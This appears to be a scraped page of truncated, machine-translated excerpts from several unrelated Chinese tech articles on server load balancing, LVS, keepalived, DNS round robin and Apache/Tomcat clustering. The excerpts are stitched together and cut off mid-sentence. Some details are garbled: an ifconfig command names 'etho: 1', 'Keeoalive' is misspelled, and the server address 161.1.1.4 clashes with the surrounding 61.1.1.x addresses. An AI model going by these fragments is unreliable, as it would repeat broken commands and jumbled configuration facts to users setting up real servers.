and high availability and avoid spof. In addition, the first method can be implemented by using the Keeoalive Software Based on VRRP routing protocol. Method 2:(1): The domain name www.bkjia.com is resolved to the virtual IP address 61.1.1.2 and 61.1.1.3 through DNS round robin.(2) Under normal circumstances, the server is bound with a virtual IP address.Run the following command on server 161.1.1.4/Sbin/ifconfig etho: 1 61.1.1.2 broadcast 61.1.1.255

LVS is a short name for Linux virtual server, the Linux web, is a free software project initiated by Dr. Zhangwensong and is now part of the Linux standard kernel. Prior to the Linux2.4 kernel, the LVS had to be recompiled to support the LVS function module, but since the Linux2.4 kernel, the various functions of LVS have been built-in, without any patching of the kernel, and the functions provided by LVS can be used directly. The goal of using LVS te

In the past, running a large web application meant running a large web server. Because your application attracts a large number of users, you will have to add more memory and processors to your server. Today, the 'large server' model has passed, replacing it with a large number of small servers, using a variety of load balancing technologies. This is a more feasible way to minimize hardware costs. The 'more servers' mode has more advantages than the

I. Introduction of LVSLVS is a short name for Linux virtual server, the Linux web, is a free software project initiated by Dr. Zhangwensong and is now part of the Linux standard kernel. LVS is a TCP/IP-based load balancing technology that has high forwarding efficiency and the ability to process millions of concurrent connection requests.The IP load balancing tec

Local DNS; 8. The Local DNS returns the www.qq.com resolution record to the user. Local DNS is generally provided by network operators (such as China Telecom and China Netcom. The cache DNS is between the client (this is a relative concept) and the local DNS, and uses the cache function of the DNS server software and the close-up characteristics between the cache DNS and the client to accelerate domain name resolution. You can also perform Domain Nam

Recently, the company wanted to provide customers with a cluster solution. The project team adopted Apache and tomcat cluster configuration to achieve load balancing. I have never been familiar with Apache before, so I have some hands-on skills. I also searched for many cluster articles on the Internet, but none of them can be configured from start to end, or incomplete files and unclear interpretations. I hope to take this opportunity to share and us

The main implementation is a high-availability server Load balancer web server cluster, suitable for lamp architecture. The front end uses two servers as The lvs + keepalived load scheduler. N servers can be used as the apache + php application server in the middle, and the next two servers are used as the mysql high-availability dual-machine, finally, a virtual
